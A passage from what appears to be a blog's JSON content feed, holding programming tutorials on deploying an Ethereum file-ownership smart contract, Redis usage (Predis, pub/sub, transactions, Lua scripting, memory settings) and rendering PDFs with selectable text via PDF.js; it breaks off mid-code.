web3.eth.contract([{\u0026#34;constant\u0026#34;:false,\u0026#34;inputs\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;fileHash\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;}],\u0026#34;name\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;outputs\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;timestamp\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;uint256\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;owner\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;}],\u0026#34;payable\u0026#34;:false,\u0026#34;stateMutability\u0026#34;:\u0026#34;nonpayable\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;function\u0026#34;},{\u0026#34;constant\u0026#34;:false,\u0026#34;inputs\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;owner\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;fileHash\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;}],\u0026#34;name\u0026#34;:\u0026#34;set\u0026#34;,\u0026#34;outputs\u0026#34;:[],\u0026#34;payable\u0026#34;:false,\u0026#34;stateMutability\u0026#34;:\u0026#34;nonpayable\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;function\u0026#34;},{\u0026#34;anonymous\u0026#34;:false,\u0026#34;inputs\u0026#34;:[{\u0026#34;indexed\u0026#34;:false,\u0026#34;name\u0026#34;:\u0026#34;status\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;bool\u0026#34;},{\u0026#34;indexed\u0026#34;:false,\u0026#34;name\u0026#34;:\u0026#34;timestamp\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;uint256\u0026#34;},{\u0026#34;indexed\u0026#34;:false,\u0026#34;name\u0026#34;:\u0026#34;owner\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;},{\u0026#34;indexed\u0026#34;:false,\u0026#34;name\u0026#34;:\u0026#34;fileHash\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;}],\u0026#34;name\u0026#34;:\u0026#34;logFileAddedStatus\u0026#34;,\u0026#34;type\u0026#34;:\u0026#34;event\u0026#34;}]); var proof = proofContract.new( { from: web3.eth.accounts[0], data: \u0026#39;0x6060604052341561000f57600080fd5b6107a58061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063693ec85e14610051578063e942b5161461012e575b600080fd5b341561005c57600080fd5b6100ac600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506101ce565b6040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156100f25780820151818401526020810190506100d7565b50505050905090810190601f16801561011f5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b341561013957600080fd5b6101cc600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061035a565b005b60006101d86106c0565b6000836040518082805190602001908083835b60208310151561021057805182526020820191506020810190506020830392506101eb565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600001546000846040518082805190602001908083835b60208310151561027f578051825260208201915060208101905060208303925061025a565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020600101808054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561034a5780601f1061031f5761010080835404028352916020019161034a565b820191906000526020600020905b81548152906001019060200180831161032d57829003601f168201915b5050505050905091509150915091565b600080826040518082805190602001908083835b602083101515610393578051825260208201915060208101905060208303925061036e565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060000154141561059d576040805190810160405280428152602001838152506000826040518082805190602001908083835b60208310151561041d57805182526020820191506020810190506020830392506103f8565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206000820151816000015560208201518160010190805190602001906104769291906106d4565b509050507f0d3bbc3c02da6ed436712ca1a0f626f1269df703a105f034e4637c7b10fb7ba5600142848460405180851515151581526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156104f45780820151818401526020810190506104d9565b50505050905090810190601f1680156105215780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561055a57808201518184015260208101905061053f565b50505050905090810190601f1680156105875780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a16106bc565b7f0d3bbc3c02da6ed436712ca1a0f626f1269df703a105f034e4637c7b10fb7ba5600042848460405180851515151581526020018481526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156106175780820151818401526020810190506105fc565b50505050905090810190601f1680156106445780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561067d578082015181840152602081019050610662565b50505050905090810190601f1680156106aa5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a15b5050565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061071557805160ff1916838001178555610743565b82800160010185558215610743579182015b82811115610742578251825591602001919060010190610727565b5b5090506107509190610754565b5090565b61077691905b8082111561077257600081600090555060010161075a565b5090565b905600a165627a7a72305820c043b2af6fa1169cb121c8259f7632749bb5bb63d8ecf251d142dfc62022aebc0029\u0026#39;, gas: \u0026#39;4700000\u0026#39; }, function (e, contract){ console.log(e, contract); if (typeof contract.address !== \u0026#39;undefined\u0026#39;) { console.log(\u0026#39;Contract mined! address: \u0026#39; + contract.address + \u0026#39; transactionHash: \u0026#39; + contract.transactionHash); } }) data is the compiled version of the contract for the EVM(Ethereum Virtual Machine). The first argument to the web3.eth.contract is the ABI(Application Binary Interface) definition. The ABI contains the prototype of all contract\u0026rsquo;s methods.\nNow run geth in development mode with mining enabled:\ngeth --dev --mine\nOpen another terminal window and run geth\u0026rsquo;s interactive JavaScript console:\ngeth attach --ipcpath /tmp/geth.ipc\nNow copy your web3 deployment code, paste in the Javascript console terminal window and hit “Enter”. You will get the transaction hash and the contract address(it may take ~15 sec). The transaction hash is\u0026hellip;surprisingly the unique hash of the transaction. All deployed contracts have a unique contract address.\nNow paste the following code to create a transaction to store file\u0026rsquo;s details:\nvar contract_obj = proofContract.at(\u0026#34;0xf126348efdbacb3508d104d9d041d0ccacf74f4b\u0026#34;); contract_obj.set.sendTransaction(\u0026#34;Vladimir\u0026#34;, \u0026#34;hash\u0026#34;, { from: web3.eth.accounts[0] }, function(error, transactionHash){ if(!err) { console.log(transactionHash); } }); You should replace the first argument of the proofContract.at method with your contract address. We don\u0026rsquo;t provide the gas so it is automatically calculated.\nNow run the following code to find file\u0026rsquo;s details:\ncontract_obj.get.call(\u0026#34;hash\u0026#34;); You will see the following output:\nThe call method is used to run a contract\u0026rsquo;s method on EVM without broadcasting a transaction.\nThat\u0026rsquo;s all for now. Have a good day!\n","permalink":"https://www.ryzhak.com/practical-guide-to-ethereum-part-17/","summary":"In this tutorial we are going to write a smart contact in Solidity language that can prove file ownership.","title":"Your first Ethereum smart contract"},{"content":"In this tutorial, we are going to vet some common pitfalls when using Redis.\nBitmaps are not always more memory-efficient than Sets Consider the following example using the Set approach. Each user is represented by a Set. Each Set element is a deal to be sent. The deal IDs are sequential numbers(1,2,3,4\u0026hellip;).\nCreate a file called benchmark-set.js in the tutorial6 folder with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); var MAX_USERS = 10000; var MAX_DEALS = 6; var MAX_DEAL_ID = 1000; for(var i = 0; i \u0026lt; MAX_USERS; i++){ var multi = client.multi(); for(var j = 0; j \u0026lt; MAX_DEALS; j++){ multi.sadd(\u0026#34;set:user:\u0026#34; + i, MAX_DEAL_ID - j, 1); } multi.exec(); } client.quit(); Flush your Redis database, execute the above code, and retrieve the used memory:\nNow consider the bitmap approach. Each user is identified by a Bitmap. Each Bitmap has the deals marked as 1(they are going to be sent) or 0. If the highest deal is 20, the Bitmap is going to cost 21 bits.\nCreate a file called benchmark-bitmap.js in the tutorial6 folder with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); var MAX_USERS = 10000; var MAX_DEALS = 6; var MAX_DEAL_ID = 1000; for(var i = 0; i \u0026lt; MAX_USERS; i++){ var multi = client.multi(); for(var j = 0; j \u0026lt; MAX_DEALS; j++){ multi.setbit(\u0026#34;bitmap:user:\u0026#34; + i, MAX_DEAL_ID - j, 1); } multi.exec(); } client.quit(); Now again, flush your Redis database, execute the above code, and retrieve the used memory:\nNotice, that the Bitmap approach uses 3 times more memory than the Set one.\nMultiple databases Redis has a support for multiple databases, which are represented by numbers. But this has become a deprecated feature because it is better to launch multiple Redis servers on the same machine. Redis is single threaded, so if multiple Redis servers are used, it is possible to take advantage of multiple CPU cores.\nUse keys with namespace It is good practice to use namespaces when defining keys in Redis. This helps to avoid key name collisions. In SQL databases, you may consider of a namespace as the database name or table.\nHere are few examples of key names with namespaces: - store:invoice:1 - store:invoice:2 - store:goods:10001:name - store:goods:10001:price - store:client:name\nSwap There is a Linux core parameter called swappiness. It controls when the OS starts using the swap space. It can be set from 0 to 100. A higher value tells the kernel to use the swap more frequently while a lower value is opposite. The default value is 60.\nvm.swappiness=0 - disables swap entirely vm.swappiness=1 - minimum amount if swapping vm.swappiness=100 - Linux will swap aggressively\nIf you are sure that your data always fits in the RAM, then use 0, if not, then use 1.\nTo disable swap usage in Linux 3.5 and newer, you should modify the file /etc/sysctl.conf and add the following string:\nvm.swappiness=0\nConfigure the memory properly In the worst-case scenario, Redis server can double the used memory when performing the backup. During RDB snapshot, Redis server needs to duplicate itself(it uses the fork() system call). If the Redis instance is very busy during the fork() call, in this case, the child process may need the same amount of memory as his parent. During the fork() execution, the Redis server stops serving clients. This can be a bottleneck of your system.\nTo boost background saves, you should set the overcommit memory configuration to 1. Add the following line to the /etc/sysctl.conf file:\nvm.overcommit_memory=1\nThere is also a configuration directive called maxmemory. It limits the amount of memory(in bytes) that Redis is allowed to use. Redis should not use more than 50% of the memory when any backup strategy is used.\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-6/","summary":"In this tutorial, we are going to vet some common pitfalls when using Redis.","title":"Comprehensive guide to Redis. Part 6."},{"content":"In this tutorial, we are going to display a pdf file inside an html canvas object with the ability to select the text in the page.\nCreate a new folder(\u0026ldquo;root folder\u0026rdquo; later in the text) called testpdfjsselection. Inside this folder run git clone https://github.com/mozilla/pdf.js.git to download the latest version of the PDF.js library. Put any pdf file you want inside the root folder(in the example below we\u0026rsquo;ll use \u0026ldquo;oasis.pdf\u0026rdquo;). In the root folder create a file called index.html with the following code: \u0026lt;!DOCTYPE html\u0026gt;\u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;pdf.js/web/text_layer_builder.css\u0026#34; /\u0026gt; \u0026lt;script src=\u0026#34;https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;pdf.js/web/ui_utils.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;pdf.js/web/text_layer_builder.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://mozilla.github.io/pdf.js/build/pdf.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div\u0026gt; \u0026lt;canvas id=\u0026#34;the-canvas\u0026#34; style=\u0026#34;border:1px solid black;\u0026#34;\u0026gt;\u0026lt;/canvas\u0026gt; \u0026lt;div id=\u0026#34;text-layer\u0026#34; class=\u0026#34;textLayer\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; PDFJS.getDocument(\u0026#34;oasis.pdf\u0026#34;).then(function(pdf){ var page_num = 1; pdf.getPage(page_num).then(function(page){ var scale = 1.5; var viewport = page.getViewport(scale); var canvas = $(\u0026#39;#the-canvas\u0026#39;)[0]; var context = canvas.getContext(\u0026#39;2d\u0026#39;); canvas.height = viewport.height; canvas.width = viewport.width; var canvasOffset = $(canvas).offset(); var $textLayerDiv = $(\u0026#39;#text-layer\u0026#39;).css({ height : viewport.height+\u0026#39;px\u0026#39;, width : viewport.width+\u0026#39;px\u0026#39;, top : canvasOffset.top, left : canvasOffset.left }); page.render({ canvasContext : context, viewport : viewport }); page.getTextContent().then(function(textContent){ console.log( textContent ); var textLayer = new TextLayerBuilder({ textLayerDiv : $textLayerDiv.get(0), pageIndex : page_num - 1, viewport : viewport }); textLayer.setTextContent(textContent); textLayer.render(); }); }); }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Inside the root folder start a local php server via php -S localhost:8080. Open http://localhost:8080 in your browser. You should see the following output:\nYou might see that the first page of your PDF document is displayed in the canvas object. Notice that the text is also selectable as there are absolutely positioned div tags with plain text inside above all text strings. Now you may add the annotation feature using the fabric.js library. Or create a neat flipbook using turn.js. Then you can convert all this html pieces into a single pdf file using jsPDF.\n","permalink":"https://www.ryzhak.com/converting-pdf-file-to-html-canvas-with-text-selection-using-pdf-js/","summary":"In this tutorial, we are going to display a pdf file inside an html canvas object with the ability to select the text in the page.","title":"Converting pdf file to html canvas with text selection using PDF.js"},{"content":"In this tutorial, we are going to try out a Redis client library for PHP. Unlike the Node.js client we used in the previous tutorials, the chosen PHP client library is synchronous and do not require a callback function.\nWe are going to use a client called Predis. The PHP version for all examples is 5.4. To install Predis we will use the PHP Composer.\nCreate a file called composer.json in the tutorial5 folder with the following content:\n{ \u0026#34;name\u0026#34;: \u0026#34;tutorial5\u0026#34;, \u0026#34;require\u0026#34;: { \u0026#34;predis/predis\u0026#34;: \u0026#34;~1.0\u0026#34; } } Then inside the tutorial5 folder run Composer via composer update. This command will install the Predis library.\nBasic commands Each executed command via Predis returns a value synchronously. Here is the sample code for some basic functions.\nCreate a file called index.php with the following code:\nrequire \u0026#39;vendor/autoload.php\u0026#39;; Predis\\Autoloader::register(); $client = new Predis\\Client([\u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379], [\u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;php:\u0026#39;]); //simple key-value assignments $client-\u0026gt;set(\u0026#34;str:my_key\u0026#34;, \u0026#34;Hello\u0026#34;); $client-\u0026gt;incr(\u0026#34;str:counter\u0026#34;); var_dump($client-\u0026gt;mget([\u0026#34;str:my_key\u0026#34;, \u0026#34;str:counter\u0026#34;])); //lists $client-\u0026gt;rpush(\u0026#34;list:my_list\u0026#34;, \u0026#34;value1\u0026#34;, \u0026#34;value2\u0026#34;); var_dump($client-\u0026gt;lpop(\u0026#34;list:my_list\u0026#34;)); //hashes $client-\u0026gt;hset(\u0026#34;hash:tutorial\u0026#34;, \u0026#34;title\u0026#34;, \u0026#34;tutorial5\u0026#34;); var_dump($client-\u0026gt;hgetall(\u0026#34;hash:tutorial\u0026#34;)); //sets $client-\u0026gt;sadd(\u0026#34;set:users\u0026#34;, \u0026#34;user1\u0026#34;, \u0026#34;user2\u0026#34;); var_dump($client-\u0026gt;smembers(\u0026#34;set:users\u0026#34;)); //sorted sets $client-\u0026gt;zadd(\u0026#34;events\u0026#34;, 2011, \u0026#34;event1\u0026#34;); $client-\u0026gt;zadd(\u0026#34;events\u0026#34;, 2012, \u0026#34;event2\u0026#34;); var_dump($client-\u0026gt;zrange(\u0026#34;events\u0026#34;, 0, -1, \u0026#34;withscores\u0026#34;)); Then inside the tutorial folder run a PHP local server via php -S localhost:8080. Now open http://localhost:8080 in your browser. You should see the following:\nBlocking commands There are 3 connection-blocking List commands: BRPOP, BLPOP, and BRPOPLPUSH. In the Node.js client, these commands expect a callback. In Predis, they don\u0026rsquo;t expect callbacks.\nThe BRPOP and BLPOP commands expect a list of keys and a timeout. BRPOPLPUSH expects a source key, a destination key, and a timeout. The timeout default value is zero. If the timeout is zero, the call will hang until an item is found. Redis client is blocked until there is at least one element in the List or until the timeout has been exceeded.\nBRPOP: Blocking version of RPOP. An element is popped from the tail of the first List that is not empty. BLPOP: Blocking version of LPOP. An element is popped from the head of the first List that is not empty. BRPOPLPUSH: An element is popped from the tail of the source key and inserted at the head of the destination key.\nNow modify the index.php file this way:\nrequire \u0026#39;vendor/autoload.php\u0026#39;; Predis\\Autoloader::register(); $client = new Predis\\Client([\u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379], [\u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;php:\u0026#39;]); $client-\u0026gt;lpush(\u0026#34;queue\u0026#34;, \u0026#34;first\u0026#34;); $client-\u0026gt;lpush(\u0026#34;queue\u0026#34;, \u0026#34;second\u0026#34;); var_dump($client-\u0026gt;blpop([\u0026#39;queue\u0026#39;], 0)); var_dump($client-\u0026gt;brpop([\u0026#39;queue\u0026#39;], 0)); $client-\u0026gt;rpush(\u0026#34;source\u0026#34;, \u0026#34;message\u0026#34;); var_dump($client-\u0026gt;brpoplpush(\u0026#39;source\u0026#39;,\u0026#39;queue:destination\u0026#39;, 0)); Run this code. You should see the following output:\nPipelines There 2 ways to work with pipelines in Predis: 1. A client executes a pipeline inside an anonymous function(similar to callbacks in Node.js, but not asynchronous). 2. A client returns a pipeline instance with the ability to chain commands.\nModify the index.php file this way:\nrequire \u0026#39;vendor/autoload.php\u0026#39;; Predis\\Autoloader::register(); $client = new Predis\\Client([\u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379], [\u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;php:\u0026#39;]); //fluent interface $res1 = $client-\u0026gt;pipeline() -\u0026gt;sadd(\u0026#39;countries\u0026#39;, \u0026#39;USA!\u0026#39;) -\u0026gt;sadd(\u0026#39;countries\u0026#39;, \u0026#39;Argentina!\u0026#39;) -\u0026gt;sadd(\u0026#39;countries\u0026#39;, \u0026#39;Brazil!\u0026#39;) -\u0026gt;sadd(\u0026#39;countries\u0026#39;, \u0026#39;Scotland!\u0026#39;) -\u0026gt;smembers(\u0026#39;countries\u0026#39;) -\u0026gt;execute(); var_dump($res1); //anonymous function $res2 = $client-\u0026gt;pipeline(function($pipe){ $pipe-\u0026gt;scard(\u0026#39;countries\u0026#39;); $pipe-\u0026gt;smembers(\u0026#39;countries\u0026#39;); }); var_dump($res2); You should see the following:\nTransactions Predis provides an interface based on MULTI and EXEC with the ability to chain commands.\nModify the index.php file this way:\nrequire \u0026#39;vendor/autoload.php\u0026#39;; Predis\\Autoloader::register(); $client = new Predis\\Client([\u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379], [\u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;php:\u0026#39;]); $res1 = $client-\u0026gt;transaction() -\u0026gt;set(\u0026#39;key\u0026#39;, \u0026#39;value\u0026#39;) -\u0026gt;incr(\u0026#39;key:counter\u0026#39;) -\u0026gt;get(\u0026#39;key\u0026#39;) -\u0026gt;execute(); var_dump($res1); Output:\nLua scripting Predis provides a higher level abstraction to register commands as if they were native Redis commands. Internally, Predis uses the EVALSHA command. EVAL is used as a fallback if needed.\nYou need to create a PHP class that extends Predis\\Command\\ScriptCommand and implements 2 methods: 1. getKeyCount: Returns the number of arguments that should be considered as keys. 2. getScript: Returns the body of a Lua code.\nIn the following code, we define a class called MultiplyValue, where we create a multiply command. It will obtain the value of a key, multiply it by the argument, and update the key with the new value.\nModify the index.php file this way:\nrequire \u0026#39;vendor/autoload.php\u0026#39;; Predis\\Autoloader::register(); $client = new Predis\\Client([\u0026#39;host\u0026#39; =\u0026gt; \u0026#39;127.0.0.1\u0026#39;, \u0026#39;port\u0026#39; =\u0026gt; 6379], [\u0026#39;prefix\u0026#39; =\u0026gt; \u0026#39;php:\u0026#39;]); class MultiplyValue extends Predis\\Command\\ScriptCommand { public function getKeysCount(){ return 1; } public function getScript(){ $lua = \u0026#34; local value = redis.call(\u0026#39;GET\u0026#39;, KEYS[1]) value = tonumber(value) local newvalue = value * ARGV[1] redis.call(\u0026#39;SET\u0026#39;, KEYS[1], newvalue) return newvalue \u0026#34;; return $lua; } } //register the new command $client-\u0026gt;getProfile()-\u0026gt;defineCommand(\u0026#39;multiply\u0026#39;, \u0026#39;MultiplyValue\u0026#39;); $client-\u0026gt;set(\u0026#34;number\u0026#34;, 4); //recieves existing keu and the multiplication factor var_dump($client-\u0026gt;multiply(\u0026#34;number\u0026#34;, 2)); You should see the following output:\nThat\u0026rsquo;s all for today.\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-5/","summary":"In this tutorial, we are going to try out a Redis client library for PHP. Unlike the Node.js client we used in the previous tutorials, the chosen PHP client library is synchronous and do not require a callback function.","title":"Comprehensive guide to Redis. Part 5."},{"content":"In this tutorial, we are going to overview other Redis commands and features.\nPub/Sub Publish-Subscribe is a pattern where publishers send messages to channels, and subscribers receive these messages if they are listening to a given channel.\nPub/Sub use cases: - chat apps - push notifications - command dashboards - remote code execution\nPUBLISH: sends a message to the Redis channel. Returns the number of clients that received that message. SUBSCRIBE: subscribes a client to one or many channels UNSUBSCRIBE: unsubscribes a client from one or many channels PSUBSCRIBE: subscribes a client to one or many channels. Accepts glob-style patterns as channel names. PUNSUBSCRIBE: unsubscribes a client from one or many channels. Accepts glob-style patterns as channel names. PUBSUB: checks the state of the Redis Pub/Sub system. Accepts 3 subcommands: CHANNELS, NUMSUB, NUMPAT. PUBSUB CHANNELS [pattern]: returns all channels with at least 1 subscriber. Accepts an optional glob-style pattern. PUBSUB NUMSUB [channel1 \u0026hellip; channelN]: returns the number of clients connected to channels via the SUBSCRIBE command. Accepts channel names as arguments. PUBSUB NUMPAT: returns the number of clients connected to channels via the PSUBSCRIBE command.\nNotice that when a Redis client executes the SUBSCRIBE or PSUBSCRIBE command, it stops accepting commands, except for SUBSCRIBE, PSUBSCRIBE, UNSUBSCRIBE, PUNSUBSCRIBE.\nWe are going to create a remote command execution system. In this system, a command is sent to a channel and the server that is subscribed to that channel executes the command.\nCreate a file called publisher.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //assign the 3rd argument from the command line to the variable channel var channel = process.argv[2]; //assign the 4th argumemt to the var command var command = process.argv[3]; //the PUBLISH command client.publish(channel, command); client.quit(); Create a file called subscriber.js with the following code:\n//require the Node.js module os var os = require(\u0026#34;os\u0026#34;); var redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //command namespace var COMMANDS = {}; //displays the current date COMMANDS.DATE = function(){ var now = new Date(); console.log(\u0026#34;DATE \u0026#34; + now.toISOString()); }; //displays PONG COMMANDS.PING = function(){ console.log(\u0026#34;PONG\u0026#34;); }; //displays the server hostname COMMANDS.HOSTNAME = function(){ console.log(\u0026#34;HOSTNAME \u0026#34; + os.hostname()); }; //channel listener //executes commands based on the channel messages client.on(\u0026#34;message\u0026#34;, function(channel, commandName){ //if the command exists if(COMMANDS.hasOwnProperty(commandName)){ var commandFunction = COMMANDS[commandName]; commandFunction(); } else { console.log(\u0026#34;Unknown command: \u0026#34; + commandName); } }); //the SUBSCRIBE command //passing 2 variables //global is the channel that all clients subscribe to //the second argument is a channel from the command line client.subscribe(\u0026#34;global\u0026#34;, process.argv[2]); Now open 3 terminal windows and run the previous files. You should see the following:\nTransactions A Redis transaction is a sequence of commands executed in order and atomically. The MULTI command marks the beginning of the transaction. The EXEC command marks the end. Any commands between the MULTI and EXEC commands are executed as an atomic operator. To prevent a transaction from being executed use the DISCARD command instead of EXEC.\nNotice that transactions in Redis are not rolled back. If one of the commands fail, Redis proceeds to the next command.\nThe following example simulates a bank transfer. Money is transferred from the source account to a destination account.\nCreate a file called bank-transaction.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); /** * Transfers money * * @param from account ID from which to withdraw money * @param to account ID to receive money * @param value money * @param callback function to call after the transfer */ function transfer(from, to, value, callback){ //retrieve the current balance client.get(from, function(err, balance){ //start transaction var multi = client.multi(); multi.decrby(from, value); multi.incrby(to, value); //if enough money if(balance \u0026gt;= value){ multi.exec(function(err, reply){ callback(null, reply[0]); }); } else { multi.discard(); callback(new Eror(\u0026#34;Insufficient funds\u0026#34;), null); } }); } //set the initial balance of each account to $100 client.mset(\u0026#34;max:checkings\u0026#34;, 100, \u0026#34;hugo:checkings\u0026#34;, 100, function(err, reply){ console.log(\u0026#34;Max checkings: 100\u0026#34;); console.log(\u0026#34;Hugo checkings: 100\u0026#34;); transfer(\u0026#34;max:checkings\u0026#34;, \u0026#34;hugo:checkings\u0026#34;, 40, function(err, balance){ if(err){ console.log(err); } else { console.log(\u0026#34;Transferred 40 from Max to Hugo\u0026#34;); console.log(\u0026#34;Max balance:\u0026#34;, balance); } client.quit(); }) }); Now execute the file. You should see the following output:\nWATCH: implements an optimistic lock on a group of keys. Marks keys as being watched so that the EXEC command executes the transaction only if the keys were not changed. Otherwise, returns null and the operation needs to be repeated. UNWATCH: removes keys from a watch list.\nThe following example implements a zpop function, which removes the first element of a Sorted Set and passes it to a callback function, using a transaction with WATCH.\nCreate a file called watch-transaction.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); function zpop(key, callback){ //execute the WATCH command on the key passed as an argument client.watch(key, function(watchErr, watchReply){ //retrieve the 1st element from a Sorted Set client.zrange(key, 0, 0, function(zrangeErr, zrangeReply){ //start transaction var multi = client.multi(); multi.zrem(key, zrangeReply); multi.exec(function(transactionErr, transactionReply){ //execute the callback function if the key being watched has not been changed if(transactionReply){ console.log(\u0026#34;reply\u0026#34;); callback(zrangeReply[0]); } else { console.log(\u0026#34;no reply\u0026#34;); zpop(key, callback); } }); }); }); } client.zadd(\u0026#34;coaches\u0026#34;, 2010, \u0026#34;Muslin\u0026#34;); client.zadd(\u0026#34;coaches\u0026#34;, 2011, \u0026#34;Kononov\u0026#34;); client.zadd(\u0026#34;coaches\u0026#34;, 2012, \u0026#34;Bruce-Lee\u0026#34;); zpop(\u0026#34;coaches\u0026#34;, function(member){ console.log(\u0026#34;The first coach in the group is: \u0026#34;, member); client.quit(); }); Now execute the file. You should see the following output:\nPipelines A pipeline is a way to send multiple commands together to the Redis server without waiting for replies. The replies are read all at once by a client. The time taken for a Redis client to send a command and receive a response from the Redis server is called RTT (Round Trip Time).\nRedis without pipelines: Redis commands run sequentially in the server, but they are neither transactional nor atomic. By default, node_redis, the Node.js library, sends commands in pipelines. However, other Redis clients may not use pipelines by default.\nRedis with pipelines: Lua scripting Redis 2.6 introduced Lua scripting feature. Lua scripts are atomic, which means that the Redis server is blocked during script execution. Redis has a default timeout of 5 seconds to run any script. This value can ba changed through the configuration lua-time-limit.\nWhen Lua script times out Redis will not automatically terminate it. The Redis server will start to reply with a BUSY message to every command. In this case, you should abort script execution with the command SCRIPT KILL or SHUTDOWN NOSAVE.\nA Redis client must send Lua scripts as strings to the Redis server. There are 2 functions that execute Redis commands: redis.call and redis.pcall.\nredis.call: requires the command name and all it parameters. Returns the result of the executed command. If there are errors, aborts the script. redis.pcall: similar to redis.call, but when it is an error, this function returns the error as a Lua table and continues the script execution.\nIt is possible to pass Redis key names and parameters to a Lua script. They will be available through the KEYS and ARGV variables.\nThere are 2 commands to run Lua scripts: EVAL and EVALSHA.\nSyntax: EVAL script numkeys key [key \u0026hellip;] arg [arg \u0026hellip;] script - the Lua script itself numkeys - the number of Redis keys being passed key - the key name that will be available through the KEYS variable inside the script arg - an additional argument. It will be available through the ARGV variable.\nThe following example uses Lua to run the GET command and retrieve a key value. Create a file called luaget.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //create a key called \u0026#34;testkey\u0026#34; client.set(\u0026#34;testkey\u0026#34;, \u0026#34;testvalue\u0026#34;); //create a variable and assign Lua code to it //This Lua code uses the redis.call function to run the GET command //KEYS is an array with all key names passed to the script var luaScript = \u0026#39;return redis.call(\u0026#34;GET\u0026#34;, KEYS[1])\u0026#39;; //execute the script client.eval(luaScript, 1, \u0026#34;mykey\u0026#34;, function(err, reply){ //display the return of the Lua script console.log(reply); client.quit(); }); Then execute it. You should see the following: The next example will be the implementation of the zpop function as a Lua script. It will be atomic as Redis will always guarantee that there are no parallel changes to the Sorted Set during script execution.\nCreate a file called zpop-lua.js with the following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); client.zadd(\u0026#34;visits\u0026#34;, 2013, 100000); client.zadd(\u0026#34;visits\u0026#34;, 2014, 200000); client.zadd(\u0026#34;visits\u0026#34;, 2015, 300000); //Lua code //uses the redis.call function to execute the Redis command //ZRANGE to retrieve an array with only the first element in //the Sorted Set. Then it executes the ZREM to remove the first element //of the Sorted Set var luaScript = [ \u0026#39;local elements = redis.call(\u0026#34;ZRANGE\u0026#34;, KEYS[1], 0, 0)\u0026#39;, \u0026#39;redis.call(\u0026#34;ZREM\u0026#34;, KEYS[1], elements[1])\u0026#39;, \u0026#39;return elements[1]\u0026#39; ].join(\u0026#39;\\n\u0026#39;); //execute the Lua script client.eval(luaScript, 1, \u0026#34;visits\u0026#34;, function(err, reply){ console.log(\u0026#34;The first value in the group is: \u0026#34;, reply); 